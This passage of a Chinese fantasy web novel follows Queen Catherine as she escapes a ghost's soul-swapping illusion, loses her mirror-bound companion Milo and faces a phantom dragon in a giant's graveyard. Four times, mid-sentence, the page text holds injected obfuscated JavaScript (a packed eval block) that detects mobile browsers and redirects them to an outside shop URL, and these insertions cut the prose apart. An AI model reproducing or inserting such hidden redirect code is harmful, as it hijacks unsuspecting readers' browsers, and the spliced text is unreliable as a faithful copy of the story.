简妮一副迷迷糊糊的样子，答：“我，我也不知道……” 卡特琳娜见她一问三不知，非常失望，只能与米洛交流：“米洛，你有没有什么看法？我怎么突然出现在这里？海因里希他们三个人怎么不见了？” 米洛没有回答她。 卡特琳娜摸了摸自己手上绕着的项链坠，米洛应该就在她身边才对，但她们竟然再次失去了联系。她的心情突然沉到了底，这种情况她似乎遭遇过。 “会不会……”简妮犹豫着提起，“跟幽灵骑士的童谣有关？” 卡特琳娜听到她唱起童谣的第三段： “谁，吃掉了兔子？ 我，雪地说，尸体融化在白雪下， 我藏匿它的踪迹。” 大雪纷纷，兔子的踪迹被积雪藏匿了。 再后面一句是什么？ 卡特琳娜记得很清楚，简妮也继续轻声唱着： “谁，照亮黑夜？ 我，月亮说，透过云层光芒， 我照耀他的路。” 月亮，月亮。卡特琳娜看着下着雪的黑暗的天空，清楚知道一时半会儿不会出现月亮。 雪太大了，暂时出不去。 卡特琳娜只能继续在屋内搜寻，发现了与之前坍塌的木屋的很多不同之处。有枯枝燃烧的灰烬，角落里有几处灰尘不太多，像是被人躺过。 “你没有见过其他人吗？”卡特琳娜询问简妮。 简妮摇头：“没，没有……不过，我发现了这个……” 她从怀里拿出来一本笔记，递给卡特琳娜，“醒来之后，蜡烛和它，就出现在我手里了。” 那种古怪的感觉再次袭来。 卡特琳娜不动声色，从简妮手里拿过了那本笔记，她借着蜡烛的微弱的光线仔细浏览。这竟然是一本巫术笔记，很多内容都模糊不全，只有召唤月亮的方法最清晰可行。 “召唤月亮……” 这么巧合，卡特琳娜刚想着下一段童谣是关于月亮，简妮便将召唤月亮的办法告诉了她。 需要一只蜡烛，还有鲜血画的图阵和古狄埃语的咒语。 这比起卡特琳娜在魔法屋的书上看过的很多仪式魔法都要简单得多，但却很难分辨是属于哪一种类别。 她心中升起了关于月亮的魔法学知识：“创世神乌克亚拨开了混沌，将世界分成了天和地，她的一只眼睛成为了太阳，一只眼睛成为了月亮。召唤月亮，也就意味着是召唤创世神乌克亚的眼睛，这上面的描述与创世神话的记载相当符合，应该值得尝试。” 她心中的声音语法强烈：“试一试，现在没有别的办法了，总不可能一直被困在这里。雪越下越大，等大雪将整个屋子都掩埋，我和简妮都可能会失去性命。” 卡特琳娜抬眼看向面前的简妮，觉得简妮比平时长得更丑了些。她一脸雀斑，佝偻着背，一点没有年轻女孩子的朝气。 卡特琳娜奔四的年纪，看起来二十出头；简妮二十的年纪，却像是半截入了土。 是哪里不对劲呢？ 卡特琳娜悚然一惊，心中的不适让她不能忽略。她仔仔细细回忆起来，从马车翻车到她出现在这个屋子里，事无巨细都在脑子里过了一遍。 她敢肯定自己的诱敌之计成功奏效，她大张旗鼓离开洛尔兰肯定吸引到了幽灵卡特琳娜的注意。而且她特意经过亚连士雪山下的大路，也绝对会让十四团知道她的动向。 这是她计策的一部分，她想要让幽灵与十四团珠蚌相争，她自己渔翁得利，也能由此得知十四团到底能不能成为她的牌。但某个地方出了问题…… 不知道为什么，她进入了幽暗森林。 同时，这个变故也出乎了幽灵卡特琳娜的意料，所以才会有现在这样的局面。 她急了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13632587|143623||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 简妮被卡特琳娜盯得害怕了，畏畏缩缩地问：“陛下？” “这么想让我召唤月亮？”卡特琳娜笑了笑，将蜡烛放在了地面。 卡特琳娜一把拉过简妮，抓住简妮的手，将她的食指咬破，然后按着她的食指开始在地上画起来。 她从来没有这样兴奋过，她非常想要将这个画阵复制出来。无论是外部的压力，还是内在的动力，都在推动她做这件事。 这就跟她当初一心只想要跳进古井时一模一样。 人灵派的情绪控制术。 若不是她这段时间潜心钻研魔法，尤其是在人灵派的魔法学基础和实践应用上花了大功夫，她肯定会再次中计！ 她现在确实还不太能控制好自己的情绪，但她不至于放任自己陷入危险了。 “陛下？你在做什么？”简妮完全挣扎不得，声音中出现了惊恐的情绪，与她平时的音调极为不同。 卡特琳娜并没有完全按照巫术笔记上的画阵来画，而是画了相反的符号和形状。她绝不相信无数笔记所描述的是“召唤月亮”，而是某种幽灵卡特琳娜想要强加给她的邪恶的魔法。 “你以为你自己伪装得很好吗？” 卡特琳娜画完了画阵，将简妮推倒在地。 可怜的女仆跌坐在蜡烛前面，无助地看向自己侍奉的王后。 “幽灵魔法学，最好用的应该是入梦术和入魂术吧？”卡特琳娜抓住简妮的头发，让她的脸贴在地上的画阵中央，“我不太知道你是入了我的梦，还是入了她的魂。但这个你自己画的法阵，只会反噬你自己！” 卡特琳娜心中升起极大的快感，她终于能够解决这个幽灵了！ 她已经看破了幽灵拙劣的计谋，她现在只需要念出相反的咒语，一切都会反噬到幽灵身上，让幽灵再也没办法觊觎她的肉身！ 古狄埃语已经到卡特琳娜的嘴边，她立即就要念出声来。 “卡特琳娜。” “我的卡特琳娜。” 海因里希的声音，还有米洛的声音。 卡特琳娜疑惑，为什么他们的声音会突然在她耳边响起？他们不是被掩埋在大雪之下了吗？ 她看着被她轻易制服的简妮，视线转移到自己的手腕。 “圣泪”不见了。 她之前将“圣泪”化作了冰雪审判之剑一直握在手里，但进入这件木屋之后，“圣泪”就不见了。 “你在诈我？”她惊讶地放开简妮，然后连连后退到窗边，冷汗浸透了她的背。 “简妮”发现自己的计谋败露，不得不起身。 黑色的雾气在她周身缠绕，她从简妮的□□挣脱了出来，变作了与卡特琳娜相貌有七八分相似的女人。 卡特琳娜有在书中看到过，如果幽灵寄居他人身体太久，幽灵的相貌就会与□□越来越重合。 但眼前的幽灵确实不是真正的卡特琳娜，她的幽灵形态还没有到与肉身完全一样的程度。 “没想到这么短时间内，你竟然已经到了二阶巫师入门的水准……”幽灵卡特琳娜穿着一身黑袍，身影模模糊糊，一半都融入了黑暗里。 她笑起来，既恶毒又狠辣，尖声道：“既然如此，那我就收下你美妙的灵魂了！” 然后，诡异阴邪的咒语自她口中倾泻而出。 42. 幽灵骑士（7） 这里是幽灵卡特琳娜的入梦术制造的幻境，所以卡特琳娜用镜子看不出简妮的真假。 简妮的□□是真实的，幽灵寄居在她的体内。如今简妮倒在地上，昏迷不醒。 卡特琳娜没想到幻境中的巫术竟然有效。 在幽灵卡特琳娜的诡异咒语中，整个木屋内部的巫术符号都浮现出红色的光亮——这显然是早已布置好的陷阱。 但这绝不会是最好的陷阱，因为幽灵卡特琳娜的第一选择是诱骗她亲自念出古狄埃语的反向咒语。一计不成，她激活了另外的法阵。 “啊！”卡特琳娜痛苦地跌坐在地上。 她能感觉到一阵剧烈的眩晕，像是灵魂正在脱离身体，眼前的画面变得模糊不清。她浑身无力，根本支撑不住，连专注思考都成了问题。 幽灵卡特琳娜漂浮在半空中，嘴中喃喃不停，在念诵着冗长繁琐的咒文。 卡特琳娜终于意识到这个恶毒的幽灵要做什么！ 幽灵想要将她的灵魂转移到简妮的体内，然后就可以趁机夺回卡特琳娜的肉身！ 她们两个都不是卡特琳娜本人，灵魂与□□做不到百分百契合。如果刚刚卡特琳娜没有识破幽灵的奸计，亲自念诵所谓的“月亮召唤术”，那现在她已经被转移到简妮身上了！ 现在幽灵必须作为第三方对她和简妮进行魔法，这会相当艰难，但并不是不可行。 一阵阵的眩晕让卡特琳娜痛苦不堪，她干呕起来，眼泪鼻涕完全控制不住。 不行…… 不能让她这样得逞…… 难道就没有办法阻止了吗？ 幽灵周身散出的黑色雾气缠绕住卡特琳娜和简妮，似乎在将卡特琳娜的灵魂从□□中拉出。 但这非常吃力，幽灵的咒语声越来越大，她的身影变得越来越透明，眼睛开始往外滴出无形的幽冥之血。 卡特琳娜强撑着没让自己彻底晕过去，如果她这时候妥协，就是真的没命了！ 一定有什么办法…… 卡特琳娜看向晕倒在画阵中的简妮，那姑娘的肉身肯定被抽离了灵魂。她不具备任何灵力，要抽离她的灵魂相当简单。 幽灵做不到直接抽离卡特琳娜的灵魂，她只能做这样曲折的方法才能夺回自己强行占据多年的身体…… 卡特琳娜想起来她听到的海因里希和米洛的声音。 对了，这是入梦术的幻境。 真实时空里发生了什么？海因里希和米洛肯定都在她的身边。 镜子，镜子…… 她与米洛之间的绝对联系——镜子。 现在她手上的项链坠是失效的，但依然能起到镜子的作用。 卡特琳娜强撑着将手腕上的项链坠打开，只有拇指指甲盖大小的镜面露了出来。 她与米洛是同样的形象。 她们之间的联系被幻境阻断，但卡特琳娜一定要冲破这个阻隔。 幽灵的咒语已经接近结尾，天旋地转的感觉让卡特琳娜几乎撑不下去。她用尽自己最后的力气咬破了嘴唇，用手指将血迹抹在了镜面之上。 黑暗袭来。 四下寂静。 她失败了吗？她被驱离了卡特琳娜的身体，成为了简妮？ 虽然简妮是个丑姑娘，但好歹她还活着，不至于做游荡的幽灵，这也不算太坏。只是简妮本人的灵魂不知道去了哪里，是最无辜的受害者。 她太大意，太狂妄了，竟然认为自己能够与资深的幽灵魔法巫师对抗。 可是她有选择吗？ 她穿越到恶毒王后的身体内，理所当然成为所有人的靶子，她不想要坐以待毙，她选择了主动出击。即使输了，她也不该有什么怨言…… 恨。 她恨。 为什么是她？为什么是她穿越到这个该死的莫名其妙的世界？ 她还有好多事情没有做，她作为白钰的二十多年，她吃了多少苦才走到今天……哦，对了，她想起来了，她的名字叫做白钰。 她叫做白钰，是个孤儿，她正准备复仇。 “卡特琳娜！” 晃眼的光线让卡特琳娜想吐，她实在忍不住，侧过身呕起来，将肚子里仅剩的酸水都吐出。 海因里希扶着她，用手帕给她擦嘴。 她喘了好几口气才呼吸顺畅，头脑开始清醒，视线也恢复了正常。 她倒在地上，被海因里希扶着腰身，雪圣女在旁边关切地看着她。不远处是坍塌的木屋，布莱克趴在上面像是在翻找着什么。 幽暗森林里安静无比，停留在不远处的枯枝上的乌鸦也只是静静地盯着她看。 她摸了摸自己的脸，发现自己还是卡特琳娜。 她的声音也是卡特琳娜的声音，只是更无力虚弱：“发生了什么事？” “布莱克的马发了疯，把你撞倒。你昏迷很久，期间一直念诵古怪的咒语，几乎心脏停跳。直到刚才，月亮出现后，你才好转过来。”海因里希表情严肃，给卡特琳娜递了一袋水，“应该是我问你才对吧？发生了什么事？” 卡特琳娜喝了一口，立即意识到他所说的关键词。 月亮。 她仰头去看，幽暗森林中的雾气消散了不少，月亮在云雾中可见，月光穿透枝丫将地面照亮。 她却来不及细想童谣里相关的句子，立即检查手腕上缠绕的项链坠。她打开来看，项链坠的镜面有一抹血迹，而正对着的盖子里的她的小像消失不见了。 米洛不见了。 卡特琳娜急得跳起来，她在心里呼唤着：“米洛！米洛！你能听到我的声音吗？你在哪里？” 没有回应。 她伸手去擦除镜面上的血迹，却根本擦不掉。 她大概知道是怎么回事。 她那时候与米洛取得了瞬间的联系，又由于她与米洛是同一个形象……幽灵卡特琳娜的魔法极有可能混淆了她与米洛，让米洛进入了简妮的肉身。 “你到底是怎么回事？”海因里希不知道卡特琳娜突然急得跳脚的原因，一把拉住她的手腕，皱眉问。 卡特琳娜根本顾不上他。 她捡起地上由“圣泪”化作的冰雪审判之剑，别到自己的腰间，跑到木屋的废墟之上，将布莱克推开。 她拼命刨着，她记得应该是这个位置…… “陛下？”布莱克被她的行动吓住。 海因里希冲过来拉她，质问：“到底是怎么回事？！你疯了吗？” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13632588|143623||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “找到了。”卡特琳娜没时间理会他们，她现在一心只想要找回自己的米洛。她心里好多好多疑问，只有米洛才能够回答她。 她将沉重的木头挪开，露出了地面的一部分画阵。 这就是她在幽灵幻境里见到的那个，她摁着简妮的手亲自画出来的那个……不仅仅是幻境那么简单，是时空的错位！ 她被狂马撞晕之后，回到了过去的时空中，亲自制作了这个画阵！ 米洛呢？她的米洛又该在哪里？ “这是简妮的血。”卡特琳娜拉住海因里希的衣领，“可以通过简妮的血找到她人！一定要找到她！” 海因里希不理解她突然这么激动的原因，他握住卡特琳娜的双肩，希望她能够镇定下来。他问：“为什么要找一个女仆？” “她对我来说很重要。”卡特琳娜回答说。 海因里希看了她很久，在幽暗森林的月光下，她的发色和瞳色已经完全恢复了原来的样子，不再是与安娜相同的红发碧眼。 他不知道她心里在想什么，所以相当犹豫。 但事已至此，并没有其他的线索。 “布莱克。”海因里希松开握着卡特琳娜的手，唤了一声。 布莱克收到指令，立即做起寻人仪式的准备。他将含有简妮血迹的沙土收集在一个小袋子里，又拿出自己随身携带的其他材料，与雪圣女沟通清楚，顺利进行魔法仪式。 雪圣女再次点亮了冰雪提灯，光线有指向性地往某个方向聚拢。 “在那边。”布莱克说。 他们四人没有继续停留，在幽暗森林里再次往前。除了冰雪提灯外，冷泠泠的月光也照亮了他们脚下的路。 寂静被打破，森林里出现了成群乌鸦的声音，它们叫喊着飞向天空。 “怎么了？”卡特琳娜疑惑地望过去。 海因里希以为她在害怕，像来时那样牵住她的手，他可不希望卡特琳娜又晕过去。他说：“起风了。” 起风？ 卡特琳娜这才感觉到冷，比幻境里大雪纷飞的感觉还要寒冷不少。所幸海因里希手掌的温度让她没那么难受，她身边还有三个暖乎乎的活人。 恍恍惚惚中，她似乎又听到简妮在唱《幽灵骑士》的童谣： “谁，带来寒霜？ 我，冬夜说，冷风中随行， 我带来冰冷的恐惧。” 雪圣女走在最前面，布莱克紧紧护在她身边。 卡特琳娜默不作声，被海因里希察觉了异样。从她醒来之后，他就觉得她不太对劲。 不，不只是这时候。她一直都不太对劲，像是变了一个人。 从什么时候起？ 似乎是从第一次审判伊桑*沙穆的那时候起…… “如果我消失的话，事情会不会变得更好？”卡特琳娜突然出声问。 她是虐待继子的恶毒继母，是童话故事里的大反派。她必须避免反派悲惨的结局，也许她该早点消失才对…… 海因里希愣住了，不明白她为什么会突然这样问。 “再给我一颗你的纽扣吧，如果我突然消失了的话，你不要主动来找我。”卡特琳娜低下头，似乎在思索着什么，“我会让你来找我。” 43. 幽灵骑士（8） “我们……似乎来到了不得了的地方……”布莱克感叹道。 他一直紧紧护在雪圣女的身旁，跟随冰雪提灯的光线指引前行。 月光越来越昏暗，寒风越来越凌冽，若不是他施法以灵力充盈身周的温度，他和雪圣女都会被冻伤。 卡特琳娜和海因里希跟在他们身后，也发现周围的环境出现了变化。即使还是在幽暗森林之中，却有着更为黑暗、恐惧的力量在侵蚀。 仿佛穿越了时间的缝隙，他们来到了一片墓地。 厚重的雾气卷着月光在她的脚下翻腾，冷风带来阵阵刺骨的寒意。墓地被模糊的月光笼罩，让人很难才辨认出那些残破的墓碑。 冰雪提灯的光线从层层雾色中泄出，照在墓地的石碑上，映出扭曲的阴影。 卡特琳娜屏住呼吸，走到离自己最近的一处古老的墓碑，观察起上面雕刻着的模糊的铭文。 荒草和枯枝纠缠在一起，像是一张无形的网，将一座座墓碑紧紧包裹。幽暗森林的泥地变作了破败的石阶，她走出的嘎吱作响的每一步都在打破诡异的宁静。 “哈里森*加西亚……创世纪734年安息于主神怀抱……”卡特琳娜念着墓碑上的古希博语，其他的内容就模糊不清了。 她又走到其他的墓碑前，发现这些人都是在730-740年之间安葬在此地。她对这个世界的历史没有那么熟悉，只知道现在是1388年，意味着这里是650年以前的墓地。 由于雾气太大，她并不能看清墓地的全貌。 但他们继续往前走，走过无数的墓碑，还是没有走出这片区域。 越是往前，坟墓的石碑越是高大耸立。甚至出现两三米高的巨碑，被厚重的锁链紧紧缠绕，散发着寒冷的金属光泽。 “别走了。”海因里希出声道。 走在前面的布莱克和雪圣女也意识到不对劲，停下了脚步。 “为什么这些墓碑越来越大？”卡特琳娜发出疑问，这么大型的石碑，要怎么运送，怎么雕刻？ 她不太了解历史，米洛又不在身边，她只能硬着头皮询问：“730到740年之间是发生过什么重大的历史事件吗？怎么会死了这么多人？” 布莱克用古怪的眼神看着她，似乎不理解王后为什么会问出这种文盲问题。 反而海因里希更为耐心，他从最基础的历史知识讲起，这是每一个北大陆初等学校的历史课都会涉及到的内容： “创世纪元年，被认为是乌克亚创造这个世界的开始。但考古学家发现在创世纪之前应该也存在人类生活的痕迹，所以创世元年被修正为创世神回归天界的那一年。那一年创世双城从世界上消失，众神归位，神之子被遗落在人间。 “在你们拜厄的历史学教材中，古狄埃人认为自己是乌克亚主神最纯正血脉的孩子，视北方希博人，群岛马尔多人，以及南方沙河人为混血低贱者。 “古狄埃人自古以来在北大陆中部地区活动，在创世纪约200年时建立了第一个都城，将其命名为拜厄，意思是神的孩子。 “创世纪300年时，北方冰川出现了连古希博人都无法承受的灾害，他们不得不往南迁移。古希博人身材高大，驯养巨龙，占领了当时的城邦之国拜厄，并不断拓宽领地，屠杀古狄埃人，从此中部地区受古希博人统治长达500年之久。 “直到创世纪700年，古狄埃遗民起义，神之子卢*沙穆将永昼之城重新召唤于世。他们自称是新狄埃人，建立了拜厄王国，与古希博人的厮杀征战长达近100年，也就是后世说起的百年战役，最后古希博人被赶回了亚连士雪山以北。 “730到740年之间，正是百年战役最激烈的时候。拜厄王国初步占领了中部地区的绝大部分城市，但却无法完全战胜高大、巨力的古希博人。” 卡特琳娜听得津津有味，没想到这个童话世界里的历史，竟然跟她所在世界也有类似之处。 战争，总是历史里最有趣的部分。 “怪不得是这么大的墓碑……”卡特琳娜有感而发，“他们是古希博人？传说中的巨人？” 海因里希摇头，笑了一声，解释说：“并不是，传说中的巨人足足有二三十米，古希博人只是借助了巨人力量的人类。在创世纪之前，最早的古希博人杰克还是与古狄埃人一样身材的人类，他用三颗豌豆长出的天藤去到了天城，偷走了巨人养殖的金鸡蛋。 “在食用鸡蛋之后，他们一族变得极其高大，平均身高两三米。他们被认为是是古希博人的祖先，古希博人凭借高大的身材和无穷的巨力征服了龙族，在那段时间里成为了北大陆的霸主。 “但是，在古希博人占领中部地区的五百年间，血脉融合使得他们的后代不再过于高大。百年战役期间，高大的古希博人都战死殆尽，所以到了现代，希博人也不过是比其他种族的人类稍微高一些，并不会有太明显的差别。” 没想到《杰克与豌豆》的故事在这个世界是这样呈现，卡特琳娜对北大陆的历史有了更深的了解。 她盯着海因里希看。 “怎么了？”海因里希察觉到她古怪的眼神，摸了摸自己的脸，警惕起周围来。 卡特琳娜有些好奇地问：“你们范维西家族是不是有古希博人的血脉？” 海因里希确实长得挺高，她仰着头看他脖子挺难受。 不知怎么回事，海因里希变得很有耐心。 他继续解释道：“我的祖父范维西一世原本是希博王朝的贵族，在参军征战期间被俘虏又逃脱。他带着士兵和民众流浪，在这片无人的土地落地生根，逐渐聚集了几千人，修建了城池。由于不想要再卷入战乱纠纷，他宣布立国。 “他的宗教立场开放，确认洛尔兰是自由地区，拜厄和希博王朝都相继外交承认了洛尔兰的独立国家地位。所以，要说范维西家族有古希博人的血脉倒也可以。但我祖父、我父亲、我，都娶的是拜厄人作为妻子。” 卡特琳娜有点被搞糊涂了，问：“安娜也是拜厄人？” 海因里希怔住，看着自己的现任妻子，一时不知道该怎么回答关于已故前妻的问题。卡特琳娜其实只是随意问出口，她对海因里希的前妻安娜并没有什么好奇。 只是海因里希突然像米洛一样，成为了能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13632589|143623||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回答她问题的万事通，她就什么都想要问上一嘴。 她见海因里希不回答，也没有追问，而是转移话题：“现在该怎么办？冰雪女神指引我们往前，但墓碑越来越巨大，实在难以想象前面会是什么，有没有危险。” 要知道接下去的童谣，是最令人胆寒的两段： “谁，在夜里守候？ 谁，在风中低吟？ 我，幽灵骑士说， 徘徊幽暗森林，冷光闪烁剑， 我，低吟古老咒语。 我，献祭剑下亡魂。” 在海因里希给卡特琳娜科普历史的时候，布莱克也没有闲着，他在四处探索观察，甚至做了驱散迷雾的仪式。 仪式效果似乎有了一些，雾气没有之前那么重了。 “幽冥之地，不能回头。”海因里希做出了决断，“继续往前走吧，既然简妮对你来说很重要，那我们必须找到她。” 幸好有海因里希、布莱克和雪圣女在，不然卡特琳娜也没有这么大的勇气在看不进边际的墓地前行。 但这一次，他们刚刚走出了没几步路，便听到迷雾中某种闷闷的声响。 “什么东西？” 他们四人再次停下脚步。 卡特琳娜心中也升起了怪异的感觉，她赶紧将一面完整的镜子拿出来。她念诵着咒语：“我所未见，即镜中所现……” 镜面显示出一只恐怖的血红色的眼睛，如同地狱的烈焰，闪烁诡异的光芒，无尽的痛苦与愤怒在其中翻涌。 卡特琳娜的手被灼烧得疼痛，她非条件反射扔掉了镜子。 镜子掉落在石阶上，摔成无数的碎片。 “你看见了什么？”海因里希询问。 卡特琳娜脸色惨白，汗流如注，她将腰间“圣泪”化作的冰雪审判之剑拔出来，目视着前方。 她看到了，看到了。 “……是……” 她的话还没有说到第二个字，白色的迷雾便被剧烈的风暴吹散。他们四人差点被巨风卷起。海因里希眼看着卡特琳娜被吹起来，不得不将她扑在地上。 布莱克也紧紧护着雪圣女。 但风暴来得太快，雪圣女手中不稳，冰雪提灯被吹走，成为飞入夜空的流星。 他们四人往风暴的来源看去，巨大的阴影从月色中降临。 “……龙……” 卡特琳娜既恐惧又兴奋，她没想到这个世界真的有龙。 即使刚刚才从海因里希嘴里听说古希博人统御龙族的历史，却没想过她立即能见到这种神秘强大的生物。 巨龙的鳞片如同黑夜中的漆黑铠甲，闪烁着隐隐的幽光，仿佛从地狱深处攫取而来。黑色的肉翅每一次挥动都引起了雷鸣般的轰鸣，让空气中令人窒息的寒冷变得更加冰冻严酷。 它周身黑暗，让幽暗森林墓地的景物映射得扭曲变形。 它看着渺小的四人，就像是看着不值一提的蝼蚁。 “幽灵骑士……”卡特琳娜发现了它身上的纹路和符号，与当初她在幽灵骑士的铠甲上看到的别无二致。 龙，即是幽灵骑士。 44. 幽灵骑士（9） 那剑呢？幽灵龙骑士的剑在哪里？ 不等卡特琳娜细想，黑龙扇动翅膀，巨大的龙尾摆了过来。他们四人太过于渺小，根本来不及避开。 布莱克和海因里希互相看了一眼，极有默契地走上前去。 布莱克手上比划着咒印，嘴中念诵着咒语；而海因里希拖着散发寒气的长剑向摆过来的龙尾冲去。 冰雪审判之剑凝结了幽暗森林里的寒冰之气，变得巨大。海因里希双手握剑，低吼了一声，将长剑往前挥动。 他的剑气所及之处竟瞬间聚集成冰，一面巨大宽阔的冰障在他们和巨龙之间形成。龙尾摆动到了冰障上面，被生生拦住，还沾染了冰霜。 巨龙怒吼一声，从天上往下降落，利爪触到了冰障，将压得凹陷，冰渣碎了一地。 但海因里希并不只是打算防守。 他利用冰障的起伏跳跃到空中，一剑扎向巨龙的利爪。利爪的黑气与冰雪审判之剑的寒气纠缠冲撞，一时间分不出神胜负。 布莱克见状，也冲了过去，从巫师包里掏出他的魔法道具，嘴里念念有词。 瞬间，月光隐匿。 乌云笼罩在巨龙的头上，落下好几颗巨大的冰锥。巨龙飞起来躲避，海因里希趁机攀上它的身体，想要寻找它的弱点。 卡特琳娜看得呆住，她没想到这个世界的魔法对抗竟然如此凶险。 布莱克和海因里希默契十足，不愧是洛尔兰自卫军的王牌。也不怪海因里希对自己的军队充满信心，他确实有不俗的实力。 她感觉有人拉住她的手，她转过脸去，发现是雪圣女。 雪圣女是冰雪神教的一种神职，只能由纯洁的哑女来担任。 话说一起行动这么久，卡特琳娜还不知道雪圣女的名字。 “我叫麦格。”她用很轻的声音说。 卡特琳娜再次呆住，她没想到雪圣女并不是哑女！这么说，雪圣女一直假装自己是哑女？ 雪圣女的长相也相当纯洁无瑕，大约十七八岁的样子，蓝色的长发，冰晶般的眼睛，肌肤雪白但两颊有少许雀斑。 “你……你会说话？”卡特琳娜不敢相信。 海因里希和布莱克正在与巨龙激烈战斗，暂时注意不到她们这里。 “我只会说女神让我传达的话。”麦格回答着，并做出了冰雪信徒的祈祷手势。 冰雪女神。 卡特琳娜脑子懵懵的，她并不清楚自己在幽暗森林里的遭遇是因何而起。但海因里希他们能找到她，确实是靠着女神的指引。 也许，女神应该是真实存在的。 “月亮的坟墓在十三月的尽头。”麦格说着，握住了卡特琳娜的手。 卡特琳娜手里“圣泪”化作的冰雪审判之剑起了变化，发出浅淡的光芒，成为了一盏冰雪提灯。 这盏灯与之前海因里希和雪圣女提着的并不一样，它照射出来的光芒中隐约带着点血色。 卡特琳娜记得这句话，这是前卡特琳娜安插内应在骑士团里设计的暗语。 难道…… 雪圣女麦格也是她的内应？！ 卡特琳娜正这样想着，眼前的雪圣女周身散发纯白微光，竟在瞬间变作了一只小白兔。 白，白兔？！ 卡特琳娜震惊地爬起身，白兔跳着藏进了她厚重的裙摆之中。她转身想要去寻，却怎么都寻不见。 看来之前狂马向雪圣女冲过去，是因为她确实是一只兔子…… 卡特琳娜心中疑虑重重，但回想雪圣女纯善的目光，并不觉得她会害自己。 难道这其中还有别的隐情吗？ 她瞥了一眼仍在激战中的海因里希、布莱克和巨龙，在手中提灯的照射下她发现巨龙的阴影并不真实。 这一切都是虚幻的吗？ 就像是十三月。 这个世界上并不存在十三月，但月亮的坟墓却在那里。 龙族早已灭绝。 眼前的这只巨龙身上有幽灵骑士的烙印，是幽灵骑士的分身，却并不是真实的。 卡特琳娜心中有了决断。 她不再犹豫，向着提灯指引的方向继续往前。她必须找到她的米洛才行，即使月亮的坟墓在十三月，她也要去到不存在的十三月里。 她不知道冰雪女神想要做什么，但她知道她自己想要做什么。 * “不太对劲……” 海因里希数次将冰雪审判之剑刺入巨龙坚硬的鳞片之下，却并没有伤到血肉的感觉。 巨龙幽暗的黑色气息缠绕在剑身，让海因里希感觉到某种无形的屏障。 用冰链暂时阻碍了巨龙之后，海因里希退回到布莱克的旁边，做出了初步的判断： “龙族早在百年战役中灭绝，之后也没有它们出现的报告。这只巨龙很有可能只是守护墓地的幽灵，但古怪的是，它身上幽灵的气息没有实感……” 布莱克也认同他的说法，提出建议：“也许，我们该想办法请求女神的指示……” 说着，他回头去看，惊讶地发现刚刚还躲避在后面的雪圣女和王后消失不见了。 “麦格！？” 海因里希转过头去，脸色瞬间如铁灰。 “怎么回事？她们人呢？” 他们想要查看周围，但这时候巨龙挣脱了冰链，又朝他们攻击。海因里希和布莱克自顾不暇，没有办法及时去寻找消失的雪圣女和王后的踪迹。 那个女人。 海因里希心里气闷，一边恨她城府太深，一边恨自己连一只幽灵龙都拖着不能很快解决。 “既然她不在，那我们也没必要隐藏实力了。”他对布莱克说。 布莱克略愣了一下，点头道：“陛下，听从您的吩咐。” * 卡特琳娜跟随冰雪提灯的指引，很快就走到寂静幽暗的地方，听不到巨龙和那两个男人的战斗，脚边是一只看不见的小白兔。 她能感觉到小白兔在她裙子下面钻进钻出，但一低头却又找不到它。 真是神奇。 这里的墓碑高大得令人感到害怕，像是有一两层楼房那样高。上面也不再是古希博铭文，而是某种她不太认识的文字。 米洛为什么会来到这里？ 她变成了小矮人，闯进了巨人的墓地。 黑暗中只有冰雪提灯幽暗的光。 她走在石板路上发出的声音特别清晰，在黑暗中回荡着。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13632590|143623||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她突然停下，但脚步声却没有停。 冷汗从后背渗出，卡特琳娜紧张得屏住了呼吸。 看不见的小白兔钻进钻出，似乎在催促她继续往前。 “谁？”她突然转身，后面一片黑暗，什么都没有。 她有某种感觉，她能感觉到……她握紧手腕上缠绕的项链坠，她知道米洛应该就在附近了。 但也意味着幽灵卡特琳娜也在。 幽灵的换魂之计失败，受到了反噬重创。但她再受重伤，也一定不会放过这么好的机会。她必须在幽暗森林里重新夺回卡特琳娜的□□，不然之后就没什么可能。 既然如此，那就在这里结束吧。 